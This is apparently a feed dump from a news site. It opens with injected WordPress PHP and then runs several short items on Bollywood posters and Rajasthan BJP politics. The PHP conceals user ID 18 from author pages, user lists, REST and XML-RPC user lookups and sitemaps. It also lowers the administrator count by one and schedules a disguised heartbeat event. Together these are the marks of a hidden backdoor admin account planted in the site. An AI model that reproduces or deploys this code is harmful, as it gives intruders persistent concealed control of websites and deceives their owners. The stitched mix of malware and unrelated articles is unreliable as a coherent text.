add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Riddhima Kapoor Sahni and Farhan Akhtar releases the first look of Rishi Kapoor from his last film titled Sharmaji Namkeen appeared first on The Edge Media.
]]>They also expressed gratitude to Paresh Rawal to step into the shoes of Rishi Kapoor to complete the movie. The caption read further, “A big thank you to Mr. Paresh Rawal, who completed the film by agreeing to take the sensitive step of portraying the same character played by Rishi-ji. Produced by Excel Entertainment and Macguffin Pictures, directed by debutant Hitesh Bhatia, this film is a light-hearted coming-of-age story of a lovable 60-year-old-man.”
Farhan also shared another poster featuring Paresh Rawal.
For those unversed, Rishi Kapoor breathed his last on April 30, 2020, after a two-year battle with leukemia. He was 67. Prior to his demise, Rishi was in New York for his treatment with his wife. The couple got married on January 22, 1980, and share two children together, Riddhima and superstar Ranbir Kapoor.
The post Riddhima Kapoor Sahni and Farhan Akhtar releases the first look of Rishi Kapoor from his last film titled Sharmaji Namkeen appeared first on The Edge Media.
]]>The post First poster of Ardh is out appeared first on The Edge Media.
]]>In the poster, Rubina is seen donning a saree with gajras adorning her hair. Given her pose, with her hands resting on her waist, it can be presumed that she is either playing a transgender character like her TV show Shakti or a sex worker. The woman stands tall facing the maximum city as Mumbai’s famous spots — Gateway of India, Hotel Taj, Central railway station, Siddhivinayak temple and the marine drive — are seen in the poster.
Ardh is being targeted for an OTT release in early 2022.
The post First poster of Ardh is out appeared first on The Edge Media.
]]>The post Vasundhara Raje is back on BJP party’s posters appeared first on The Edge Media.
]]>Cabinet minister Bhupendra Yadav’s Jan Ashirwad Yatra has included Raje on the posters, putting an end to the poster row which was going on for the last several months.
Not only has she returned but has also been given prominence as she has been placed centrally in the poster released by the BJP for the Yatra, along with party state president Satish Poonia and Leader of Opposition Gulab Chand Kataria on her flanks.
Other than PM Narendra Modi, national party chief JP Nadda, state incharge Arun Singh, Raje Poonia, and Kataria, the Yatra posters also bear photos of three Union ministers from Rajasthan – Gajendra Singh, Arjun Ram Meghwal and Kailash Choudhary.
Over the development, a party MLA on anonymity commented that this must have been done on directions of Bhupendra Yadav as he always has balanced things. But her inclusion in the poster is not alone, three more faces have been added.
A controversy and war of words had erupted between state BJP workers and Raje’s supporters after photos of Raje were removed from the state’s party posters in state capital Jaipur around two months ago.
Even during the last assembly by-polls on three seats, her photo was missing from hoarding and posters. At Rajsamand, the posters did have her photo but not at all places. A BJP leader had then stated that they are following the protocol and photos of only the CM, the leader of the opposition, and the state party chief can be used.
The post Vasundhara Raje is back on BJP party’s posters appeared first on The Edge Media.
]]>